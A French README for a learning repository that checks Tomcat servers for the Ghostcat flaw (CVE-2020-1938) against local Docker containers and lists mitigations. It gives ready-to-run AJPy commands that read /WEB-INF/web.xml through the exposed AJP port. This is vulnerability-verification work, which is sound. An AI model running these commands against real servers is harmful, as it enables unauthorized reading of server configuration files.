Vérification de Ghostcat (CVE-2020-1938)

Résumé

Un nouvel exploit appelé Ghostcat a été découvert CVE-2020-1938, voir les articles sur snyk et tenable pour les détails et l'analyse de l'exploit lui-même.

Dans mon cas, je voulais vérifier quels serveurs Tomcat sont exploitables et, le cas échéant, comment cela se manifeste. Cette expérience vise donc à tester Tomcat 7, 8 et 9.

Prérequis

• docker
• python
• git

Lecture de fichier via CVE-2020-1938 sur Tomcat 7

TODO : Comment vérifier qu'un Tomcat 7 est vulnérable ?

Lecture de fichier via CVE-2020-1938 sur Tomcat 8

Plutôt que de tester des exploits sur des serveurs en production, j'utilise des builds existants de Tomcat pour réaliser mon expérience avec AJPy, qui fabrique des requêtes AJP afin de communiquer avec les connecteurs AJP.

git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

Si cela renvoie le web.xml, alors cette version de Tomcat est vulnérable à l'exploit.

Si nous essayons le même test avec la dernière version de Tomcat 8.5, nous pouvons voir qu'elle n'est pas vulnérable à cette erreur particulière.

docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

Dans ce cas, nous devrions obtenir une erreur Python, ce qui signifie en réalité que le serveur n'est pas vulnérable ;

Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

Lecture de fichier via CVE-2020-1938 sur Tomcat 9

TODO : Comment vérifier qu'un Tomcat 9 est vulnérable ?

Springboot

TODO : Comment vérifier qu'un service Springboot est vulnérable ?

Atténuation

Évidemment, si vous êtes vulnérable (quelle que soit la version), vous devriez envisager de mettre à jour vers les versions corrigées. Une autre option consiste à bloquer l'accès au port AJP.

Démarrez la même version de Tomcat mais n'exposez pas le port AJP 8009.

docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

Dans ce cas, nous pouvons voir que l'exploitation du serveur échouera.

Avertissement

Je ne suis pas un professionnel de la sécurité et ce dépôt a été créé à des fins d'apprentissage ; il n'est pas destiné à être utilisé à des fins malveillantes.